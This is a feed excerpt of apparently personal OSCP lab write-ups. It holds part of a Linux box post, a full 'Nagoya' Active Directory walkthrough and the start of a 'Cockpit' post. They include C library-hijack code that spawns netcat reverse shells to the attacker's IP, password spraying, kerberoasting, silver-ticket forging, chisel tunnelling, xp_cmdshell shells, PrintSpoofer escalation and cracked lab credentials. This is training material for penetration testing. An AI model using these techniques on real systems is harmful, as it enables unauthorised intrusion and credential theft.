4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)<br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0<br>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete<br>Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 5.11 - 5.15 (91%), Linux 5.15 (91%)<br>No exact OS matches for host (test conditions non-ideal).</pre><p>Port 22 and 3306 needs initial foothold first, seems like port 8983 the only option</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Qfvy78-96q2rQgowRpaCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*29v-kIn0XPdfO6KdMWwpPA.png" /></figure><p>not really any CVE for our vesion 9.7.0</p><p>lol found a cred</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9oDjIBFGAGFBQxg7lNuMg.png" /></figure><pre>slv01:nBk3c4gj0J</pre><p>i think this is a mysql login,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*ds8q9ZXdBWr6qB__rW2syQ.png" /></figure><p>i keep running through this error man, until i did ‘ — skip-ssl-verify-server-cert’</p><pre>mysql -u slv01 -p -h 192.168.136.205 --skip-ssl-verify-server-cert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*bt7nGh2R5Uwy8MpNbo_GhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*3hY5CZ5U3pvOj614t3Fv1w.png" /></figure><pre><br>root:B3B72B283F43DC8302F73E94245F4D4D<br>bob:22958710C569D1FA791F43ABA4D4E9EA</pre><p>oo juicy, found some users and hash im presuming, couldnt crack the root’s hash but we found bob’s hash result :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bl5yKKTzHhsyf8lZxAEC7A.png" /></figure><pre>bob:sunflower</pre><p>connected to bob via ssh, and found local.txt :).</p><p>tried dirty pipe exploit, but does not seem to work (<a href="https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit](https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit">https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit</a>):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*IGSBsoDmTfoUZk-VDC49eg.png" /></figure><p>downloaded backup to my local machine for further enumeration:</p><pre>scp bob@192.168.136.295:/home/bob/backup .</pre><p>then ran strings on the backup executable :</p><pre>┌──(raijin㉿kali-razer)-[~/oscp/ProvingGrounds/dev_working]<br>└─$ strings backup     <br>/lib64/ld-linux-x86-64.so.2<br>puts<br>perror<br>__stack_chk_fail<br>__printf_chk<br>fread<br>exit<br>stat<br>dlclose<br>putchar<br>fopen<br>mkdir<br>__libc_start_main<br>dlsym<br>dlopen<br>__cxa_finalize<br>dlerror<br>fclose<br>__snprintf_chk<br>__isoc99_scanf<br>fwrite<br>strcmp<br>libc.so.6<br>GLIBC_2.7<br>GLIBC_2.33<br>GLIBC_2.4<br>GLIBC_2.2.5<br>GLIBC_2.34<br>GLIBC_2.3.4<br>_ITM_deregisterTMCloneTable<br>__gmon_start__<br>_ITM_registerTMCloneTable<br>AWAVAUATUSH<br>B4cup32MH9D$<br>[]A\A]A^A_<br>M4n4age<br>H9D$<br>PTE1<br>u+UH<br>yt,H<br>[]A\A]A^A_<br>yt(H<br>[]A\<br>     <br>     <br>Welcome to the Gagup Backup Manager!<br>Are you sure you want to back up the file <br>Error creating destination folder<br>Error opening destination file<br>Backup completed successfully.<br>Advanced Backup Tool: Use with care.<br>Are you sure you want to proceed with the advanced backup? (yes/no or y/n): <br>advance_backup_custom_implementation<br>Incorrect password. Exiting...<br>/home/bob/backup_history<br>%s/%s<br>/home/bob/mydata.txt<br>[1;%sm%s<br> to <br>? (yes/no or y/n): <br>Backup cancelled.<br>Error opening source file<br>Backed up: <br>Advanced backup cancelled.<br>./lib_backup.so<br>Advanced backup completed<br>Enter the password:<br>%255s<br>B4cup32M4n4age<br>===== Backup Menu =====<br>1. Simple Backup<br>2. Advanced Backup<br>3. Exit<br>Choose an option: <br>Exiting... Goodbye!<br>Invalid choice. Try again.<br>9*3$&quot;<br>GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0<br>.shstrtab<br>.interp<br>.note.gnu.property<br>.note.gnu.build-id<br>.note.ABI-tag<br>.gnu.hash<br>.dynsym<br>.dynstr<br>.gnu.version<br>.gnu.version_r<br>.rela.dyn<br>.rela.plt<br>.init<br>.plt.got<br>.plt.sec<br>.text<br>.fini<br>.rodata<br>.eh_frame_hdr<br>.eh_frame<br>.init_array<br>.fini_array<br>.dynamic<br>.data<br>.bss<br>.comment</pre><p>lol, looks like we found the password</p><pre>B4cup32M4n4age</pre><p>if you see the strings output, it seems like it also executes this script called ./lib_backup.so</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*qZqFhGeSO-JKHWLWMF-Jqg.png" /></figure><p>but it does not seem to be present in the current user directory so let’s make a malicious .so file? It seems like it also executes when doing the advanced backup.</p><p>A C source file is first compiled into an object file (with position-independent code) and then linked into a shared object (“.so”) file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*hlA5JCEBDe-Ja8cYVVXzHg.png" /><figcaption>ghidra</figcaption></figure><p>it calls a function inside ./lib_backup.so called advance_backup_custom_implementation</p><p>I searched how to create a .so file revshell in google and this article showed up : <br><a href="https://medium.com/@masjadaan/hijacking-shared-libraries-c3dff035c5f9">https://medium.com/@masjadaan/hijacking-shared-libraries-c3dff035c5f9</a></p><pre>#include &lt;stdio.h&gt;  <br>#include &lt;stdlib.h&gt;  <br>#include &lt;sys/types.h&gt;  <br>#include &lt;unistd.h&gt;  <br>  <br>static void revShell() __attribute__((constructor));  <br>  <br>void revShell() {  <br> setuid(0);  <br> setgid(0);  <br> printf(&quot;Reverse Shell via library hijacking... \n&quot;);  <br> const char *ncshell = &quot;nc -e /bin/sh 192.168.45.197 443 &amp;&quot;;  <br> system(ncshell);  <br>}</pre><p>let’s customize it a bit :</p><pre>#include &lt;stdio.h&gt;  <br>#include &lt;stdlib.h&gt;  <br>#include &lt;sys/types.h&gt;  <br>#include &lt;unistd.h&gt;  <br>  <br>static void advance_backup_custom_implementation() __attribute__((constructor));  <br>  <br>void advance_backup_custom_implementation() {  <br> setuid(0);  <br> setgid(0);  <br> printf(&quot;Reverse Shell via library hijacking... \n&quot;);  <br> const char *ncshell = &quot;busybox nc 192.168.45.197 443 -e sh&quot;;  <br> system(ncshell);  <br>}</pre><p>still Doesnt work for me…didnt work lol, lets create something different</p><pre><br>#include &lt;stdio.h&gt;  <br>#include &lt;stdlib.h&gt;  <br>#include &lt;sys/types.h&gt;  <br>#include &lt;unistd.h&gt;  <br>  <br>static void advance_backup_custom_implementation() __attribute__((constructor));  <br>  <br>void advance_backup_custom_implementation() {  <br> setuid(0);  <br> setgid(0);  <br> printf(&quot;Reverse Shell via library hijacking... \n&quot;);  <br> system(&quot;chmod 4777 /bin/bash&quot;);  <br>}</pre><p>transfer it to the victim machine :</p><pre>scp lib_backup.c bob@192.168.136.205:/home/bob/</pre><p>then lets compile it in the victim machine:</p><pre>bob@dev01:~$ gcc -Wall -fPIC -c lib_backup.c -o lib_backup.o<br>bob@dev01:~$ gcc -shared lib_backup.o -o lib_backup.so   </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*FJ-CM-jGbSdyKNtcminCSQ.png" /></figure><pre><br>bash-5.2# cat proof.txt<br>4e90XXXXXXXXXXXXXXX<br>bash-5.2# </pre><p>Finally T_T. Hope you guys found this helpful, it was hell to get the proper C PE vector to work, since im so rusty with my C.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd59f01b42c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Proving Grounds | Nagoya | Hard | Active Directory]]></title>
            <link>https://medium.com/@carlosbudiman/oscp-proving-grounds-nagoya-hard-active-directory-bd548b5a740d?source=rss-cf690dc9fc87------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd548b5a740d</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[japan]]></category>
            <dc:creator><![CDATA[apple of my eye]]></dc:creator>
            <pubDate>Fri, 17 Jan 2025 06:48:22 GMT</pubDate>
            <atom:updated>2025-01-17T06:49:25.745Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*-WJpdVpIZV6htcl9ktDMsg.png" /></figure><p>Just an normal guy preparing for the OSCP+ Exam :). This is my attempt on the Active Directory machine called Nagoya, it is rated hard but honestly this was THE HARDEST MACHINE that I’ve ever done, definitely should not be categorized as hard, but as something higher….</p><p>It involved OSINTing for the initial foothold, then reverse engineering an executable in order to get another credential, then port forwarding to get access to the SQL service, then privilege escalate to admin.</p><p>I used up all the hints given by the labs, and it still took me an absurd amount of time to get through this box. I also couldn’t find any good walkthroughs online…</p><p><strong>Nagoya | Proving Grounds, Active Directory , Difficulty : Hard</strong></p><p>Target machine : 192.168.*.21 (Had to revert multiple times)<br>My machine (tun0) : 192.168.45.204</p><p><strong>Enumeration</strong></p><p>github.com/Tib3rius/AutoRecon</p><p>Used autorecon to do an entire enumeration for me, I definitely recommend autorecon since it’s very easy and simple to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oizdbFSS2YuxGxMhfgLtTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*BCujF7Ma3xj8vtyG5JYpLQ.png" /><figcaption>Added the domain to my lists of hosts</figcaption></figure><p><strong>PORT 80</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hs9GU_FgFOuhnmBVtKrSkQ.png" /><figcaption>List of the team exposed on the page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*noFfrSOSfJkf7a8s-vu73w.png" /><figcaption>Turned them into first.last format</figcaption></figure><p>Let’s save it first before we start attacking.</p><p>I created the list of users.txt to check if is AS-REP Roast-able or not :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eoyitFzApUhYZohpaMBIQ.png" /></figure><pre>impacket-GetNPUsers nagoya-industries.com/ -usersfile users.txt</pre><p>I used the impacket script, GetNPUsers to check if any of the user’s are AS-REP roast vulnerable — WHich turned out not.</p><p>Also confirmed that the naming format is the correct one using kerbrute :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*67N1qyVw9goaH14Vr2huxQ.png" /></figure><p>So now we got valid users, but it’s too much to go through with rockyou.txt , I was honestly lost , but I knew the only way was to guess or brute force a password. I didn’t want to spend too much time and decided to use the first hint for the box in Offsec’s lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFCfbniuUHBqGbrNqozlQA.png" /><figcaption>Bruh…</figcaption></figure><p>Are you serious, seasons + years lol.</p><p>Okay OSINT-ing into this box was not my thought of process or methodology at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jIlemfrWxbJKnmJ-mA5fJw.png" /></figure><p>So with got a the year ‘2023’, now to guess the season.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*bU6LEjbn6O-_zklU9zgoKg.png" /></figure><p>Let’s start with spring first. I’ll use kerbrute again to password spray the users :</p><pre>kerbrute passwordspray --dc 192.168.162.21 -d nagoya-industries.com users.txt &quot;spring2023&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*AxdrRiw0jE2IeOx4i0AjbA.png" /></figure><p>Didn’t work lol, let’s try with a capital s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*-n4aFsPFEiw9K6MCGEzqDg.png" /><figcaption>Finally we’re actually getting somewhere….</figcaption></figure><p>Got out first credential :</p><pre>Craig.Carr:Spring2023=</pre><p>now let’s enumerate the user using crackmapexec :</p><pre>crackmapexec smb 192.168.x.187 -u &lt;user&gt; -d &lt;domain&gt; -p &quot;&lt;password&gt;&quot; --shares<br>crackmapexec winrm 192.168.x.187 -u &lt;user&gt; -d &lt;domain&gt; -p &quot;&lt;password&gt;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z7X3PzVvwQKezEOnFGLCNg.png" /></figure><p>Alright SMB works,</p><p>I like to check if we can get a shell via winrm :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dY6Nz13pICrha9VUA7Guww.png" /></figure><p>No winrm access :(.</p><p>Since we get SMB access let’s connect using SMBclient :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*lhObdn7R7lYqI25dN4wQGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*isJxrPgTI7gQj3uEubRFGA.png" /></figure><p>Some of the files could potentially leak some information for us to pivot.</p><p>Found an interesting directory, let’s download it and see what we can find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eD8uiGvGbSlWQ-ClHF1PA.png" /></figure><p>I reviewed all the files, but I found nothing that we could actually use, this was another roadblock I hit. But because we are not able to read the .exe or .xml files, I suspect there’s something juicy in one fo them. It doesn’t make sense that the creator of these boxes left a folder like this.</p><p>I had to use the second hint provided by the lab which was pointing to reverse engineer the .exe file. I have had no reverse engineering experience, so this was definitely out of scope for me. But I want to learn!</p><p>But somehow I have no idea how to use tools like DnSPY so I found an alternative that you can just use strings with the ‘-e l’ flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*00ujLcJVGraxu8SNOoo_CQ.png" /></figure><p>I don’t know if we can call this reverse engineering but we found the password!!</p><pre>svc_helpdesk:U299iYRmikYTHDbPbxPoYYfa2j4x4cdg</pre><p>Did the same enumeration just as we did for the craig.carr user using crackmapexec, still no winrm enabled, but smb is.</p><p><strong>BloodHound</strong></p><p>I also wanted to try to use bloodhound on the Craig user to enumerate the domain better, and visualize things better (Using bloodhound was definitely the game changer for this box).</p><pre>sudo neo4j console<br><br>bloodhound<br><br>bloodhound-python -d nagoya-industries.com -u Craig.Carr -p &quot;Spring2023&quot; -gc 192.168.162.21 -c all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5F2252-iAg0vqjOnz2brQ.png" /></figure><p>I like to start by marking which users I have owned already. THen use the shortest path from owned principal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02rsMR13cqNBlJMZJ32_8Q.png" /></figure><p><strong>Kerberoasting</strong></p><p>Honestly at this point I used up all of the hints provided, this is definitely the hardest box I have hit myself with.</p><p>Since we have valid credentials now, we can now perform kerberoasting.I always refer to this mindmap below. (<a href="https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg">https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*o7bYqvozHOx3baZRGe8PTg.png" /></figure><pre>impacket-GetUserSPNs -request -dc-ip 192.168.162.21 nagoya-industries.com/svc_helpdesk:U299iYRmikYTHDbPbxPoYYfa2j4x4cdg -outputfile &quot;kerberoast_hash.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gghw802A50YohCe72P5Rog.png" /></figure><p>We got a new user’s hash, svc_mssql, let’s crack it, once again follow the mindmap!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*vjgMpOGHISObhngkNEhd1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_4s3Nh31vuK6eyPjnsSBQ.png" /><figcaption>Nice</figcaption></figure><p>New User unlocked, time to mark it at bloodhound again.</p><pre>svc_mssql:Service1</pre><p>Once again enumerated with crackmapexec, winrm still not available but SMB is.</p><p>Now back to bloodhound :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j84LQr-6d4VcKBicdBytkA.png" /><figcaption>Shortest path from svc_helpdesk</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*f55Ou-yJsef6swns5vq1wA.png" /><figcaption>Shortestpath from craig.carr</figcaption></figure><p><strong>All roads lead to Christopher.Lewis for some reason</strong>, it seems like it is part of the developers group and it can ‘psremote’ to nagoya, which is most likely part of the admin group :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AKpdQT7aMBYz9RzzTAD-dg.png" /></figure><p>Yeap, looks right.</p><p>Right clicking the edge revealed a lot of interesting information on how we can compromise this Christopher user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*5NfmWWxiBR0lFBbARkfaJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*39Vys6vSXSZJI1N5ww3llw.png" /><figcaption>Option 1 : kerberoast</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*NiTI0wU_OgTvWf87WPdebQ.png" /><figcaption>Option 2 : PW Change</figcaption></figure><p>I’ll try the target kerberoast first before the password change, and if all hell doesn’t work I guess I’ll have to bruteforce it, hoping the password is another season + year :..).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hpQ1TlTfMtTuq-zBTJyEw.png" /></figure><p>Tried the first method but it can’t work so I’ll just pivot to changing the password</p><pre><br>net rpc password &quot;christopher.lewis&quot; &quot;newPassword123&quot; -U &quot;nagoya-industries.com&quot;/&quot;svc_helpdesk&quot;%&quot;U299iYRmikYTHDbPbxPoYYfa2j4x4cdg&quot; -S &quot;192.168.162.21&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2qqJvjFl2bWA6JAHq5NnzA.png" /></figure><p>No output was given so? Anything other than a no is a yes in our world. Haha, new character gained!</p><pre>christopher.lewis:newPassword123</pre><p>Once again, enumerated via cme and found out WINRM is available. :D</p><pre>evil-winrm -i 192.168.162.21 -u &quot;christopher.lewis&quot; -p &quot;newPassword123&quot;</pre><p>Oh my God, finally…..T_T, that took so long just for our local user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*U8aaenMiiHxnANYGxR6GoQ.png" /></figure><p>Let’s update our pwned users in bloodhound, and find how we can access nagoya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*HHn8on_QIyM5Lf0OmpjKxQ.png" /></figure><p>I tried finding exploits regarding CanPSRemote abuses, I follow this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jK_7tK-H4vFlFQ3kQzJpmw.png" /></figure><p>It seems to be that we are unable to access nagoya from this vector….</p><p><strong>CREATING A SILVER TICKET</strong></p><p>I had to look at the last hint which mentioned creating a silver ticket.</p><p>to execute this attack. We can use impacket’s ticketer, i found online an example of how it was used :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7MwOfOB3L-4zYH-kzaeHw.png" /></figure><p>all we need is the <br>- SPN password hash, <br>- Domain SID, <br>- and Target SPN of the service account you’ve compromised</p><p>To get the SPN password hash, we need to convert “Service1” to the NTHASH, and then</p><p>Get the Domain SID using Get-AdDomain :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1Yyo3kHIMdOUFgWQzn-Uw.png" /></figure><pre>S-1-5-21-1969309164-1513403977-1686805993</pre><p>Get the SPN pw hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bdSlhmFs0Si_ebHU1aIiPw.png" /></figure><pre>E3A0168BC21CFB88B95C954A5B18F57C</pre><p>Target SPN :</p><pre>Get-ADUser -Filter {SamAccountName -eq &quot;svc_mssql&quot;} -Properties ServicePrincipalNames</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*xwZVIMT7zJ6uw6d8rcfTWg.png" /></figure><p>now let’s use ticketer to create the silver ticket</p><pre>impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid &quot;S-1-5-21-1969309164-1513403977-1686805993&quot; -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com Administrator</pre><p>There was something wrong with my impacket so I had to redownload impacket in a virtual environment and run it there :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*Oq4QdE6DfCkCRMZqA28NzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*O5GhvNy4Y860jy_eZcZ92A.png" /></figure><pre>export KRB5CCNAME=$PWD/Administrator.ccache #exporting the ticket<br>klist #Check if it was saved properly</pre><p>now create a krb5 config file in order to connect :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*qXKidXtA2FaI6Us8fWBLbQ.png" /></figure><pre>[libdefaults]  <br>        default_realm = NAGOYA-INDUSTRIES.COM  <br>        kdc_timesync = 1  <br>        ccache_type = 4  <br>        forwardable = true  <br>        proxiable = true  <br>    rdns = false  <br>    dns_canonicalize_hostname = false  <br>        fcc-mit-ticketflags = true  <br>  <br>[realms]          <br>        NAGOYA-INDUSTRIES.COM = {  <br>                kdc = nagoya.nagoya-industries.com  <br>        }  <br>  <br>[domain_realm]  <br>        .nagoya-industries.com = NAGOYA-INDUSTRIES.COM</pre><p><strong>PORT FORWARDING via Chisel.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*N6fre9Cf1PvwlcmxEf8C2g.png" /></figure><p>It seems like i cannot connect, it must be because the sql server is being ran in localhost and my host machine cannot reach it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*COK9asOfywEM99aUAXYNHQ.png" /></figure><p>So I think I need to port forward it so that my machine is able to access this service.</p><p>So let’s do port forwarding using chisel.exe so we can access the sql server :</p><pre><br>#set listener on kali<br>chisel server --port 445 --reverse  <br><br>#on victim machine<br>upload chisel.exe<br>.\chisel.exe client 192.168.45.204:445 R:1433:127.0.0.1:1433</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*hLFJdARw2qoGoG0Nm4kPNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*brPK1ds85vy9aL2l4xB6mQ.png" /></figure><p>It has connected to the tunnel, now we can access the SQL server, HOPEFULLY!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*QHHWVoCX1fY4zRN80ZvaEQ.png" /></figure><p>Oh my gosh, it finally worked…….</p><p>Now, let’s get a shell, we can execute commands using the xp_cmdshell command.</p><p><strong>PRIVILEGE ESCALATION (SeImpersonatePrivilege)</strong></p><p>First of all, let’s get a shell. We can do that with the help of xp_cmdshell to execute commands.</p><pre>#you need to enable xp_cmdshell first<br>enable_xp_cmdshell  <br>xp_cmdshell &lt;command&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*3FFF43eakqggNklWBdJntg.png" /><figcaption>whoami test</figcaption></figure><p><a href="https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp_cmdshell/">https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp_cmdshell/</a></p><p>I followed the above article in order to get a reverse shell, which involved creating a custom powershell rev shell from revshells.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TdZqtdQYG4lv-0iUSVBirQ.png" /><figcaption>Powershell rev shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VJsLzQ7bhYyo7cbqkU5QQA.png" /></figure><p>Then just copied it beside xp_cmdshell, which resulted in a shell :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*sv1FZZtj5j1se4u9e-7k2w.png" /></figure><p>Now it’s time to privilege escalate !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*k3cnEM4Yr2kHhUyxwbY3-A.png" /></figure><p>we have all of this enabled, which are all juicy :).</p><p>it’s time to refer to priv2admin again : <br><a href="https://github.com/gtworek/Priv2Admin">https://github.com/gtworek/Priv2Admin</a>,</p><p>but didn’t have like a step by step instruction so I referred to this medium article for the full walkthrough of the exploit : <br><a href="https://usersince99.medium.com/windows-privilege-escalation-token-impersonation-seimpersonateprivilege-364b61017070">https://usersince99.medium.com/windows-privilege-escalation-token-impersonation-seimpersonateprivilege-364b61017070</a></p><p>It involved using a tool called printspoofer :</p><p><a href="https://github.com/dievus/printspoofer">GitHub - dievus/printspoofer</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*j3_jPfwWES2EuUzj__nPmA.png" /><figcaption><a href="https://usersince99.medium.com/windows-privilege-escalation-token-impersonation-seimpersonateprivilege-364b61017070">https://usersince99.medium.com/windows-privilege-escalation-token-impersonation-seimpersonateprivilege-364b61017070</a></figcaption></figure><p>So we need to transfer printspoofer.exe to the victim machine and then execute it to output a print.exe then execute it to get authority :). Let’s follow it:</p><pre>#victim machine :<br>powershell -c wget http://192.168.45.204:80/PrintSpopofer.exe -OutFile PrintSpoofer.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*0PXj3Znzg38Sv9W8VWCkjQ.png" /></figure><p>It didnt work lol…..It turns out you need the 64 bit version : <br><a href="https://github.com/itm4n/PrintSpoofer/releases">https://github.com/itm4n/PrintSpoofer/releases</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*5B9RO7KujGEuP74jFLfymg.png" /><figcaption>Try 2</figcaption></figure><p>So let’s try that one more time with the new PrintSpoofer64</p><pre>.\PrintSpoofer64.exe -i -c cmd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*NARgGSNURqdeOpIwnG_A5w.png" /></figure><p>Finally……we actually got root.</p><p><strong>NAGOYA RANT</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*3qTMIwp32THIP3NvJ_7CnA.png" /></figure><p>Idk why but this machine keeps being unreachable at very random spots, I’m pretty sure it’s not my network, I continously have to revert the machine for it to be accesible for me.</p><p><strong>Thank you for reading!</strong></p><p>Pheww…that was long…This box was extremely difficult, Idk maybe just me. I wasn’t very comfortable with port forwarding, but using chisel definitely changed my mind about it.</p><p>I honestly learnt so much from this box when it comes to enumerating, kerberoasting, and escalating using a silver ticket. Definitely added a lot of stuff to my methodology and taught me not to rely on mindmaps too much.</p><p>Overall didn’t expect OSINT was the way for the initial foothold, but it all paid out. <strong>Bloodhound</strong> was definitely the game changer for me in this box, I wouldn’t have been able to find these vectors without the visualisation that bloodhound provided.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd548b5a740d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Proving Grounds | Cockpit | Intermediate | Linux]]></title>
            <link>https://medium.com/@carlosbudiman/oscp-proving-grounds-cockpit-intermediate-linux-2d2be64ebfa4?source=rss-cf690dc9fc87------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d2be64ebfa4</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[apple of my eye]]></dc:creator>
            <pubDate>Fri, 17 Jan 2025 04:15:11 GMT</pubDate>
            <atom:updated>2025-01-17T04:15:11.425Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*-WJpdVpIZV6htcl9ktDMsg.png" /></figure><p>Just an normal guy preparing for the OSCP+ Exam :). Just a quick writeup about the Cockpit machine, which I found pretty easy.</p><p>My third published write up, using this as practice to polish my note taking and story-telling skills.</p><p><strong>Cockpit | Proving Grounds, Linux, Difficulty : Intermediate</strong></p><p>Kali Machine : 192.168.45.204<br>Target machine : 192.168.162.10</p><p><strong>Enumeration</strong></p><p>Once again I used autorecon for my enumeration, before the full scan loads, I usually quickly just see the quick tcp scans.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*15EKAaRWqW5685c1QY9Y_g.png" /></figure><p>From the scans it’s obvious this box would be more of a web app route.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s6ugEWcP5UpDDOd1N_Kl7w.png" /></figure><p>Used dirhunt to enumerate the directories and found the login.php page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2JN3KMVdI9PFn3p5_I7Tg.png" /></figure><p>Tried searching any exploits regarding ‘blaze by JDgodd’, and found a couple of potential hints but mostly talking about how it’s vulnerable to SQL injections.</p><ul><li><a href="https://www.exploit-db.com/exploits/33995">OffSec&#39;s Exploit Database Archive</a></li><li><a href="https://www.exploit-db.com/exploits/12734">OffSec&#39;s Exploit Database Archive</a></li></ul><p>So I tried entering SQL payloads, to authenticate, when doing the blind sql injections I got this output :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*fMnpOfaOFp3dGjHb7ncv2Q.png" /></figure><p>Luckily, there’s no system that would block our IP or 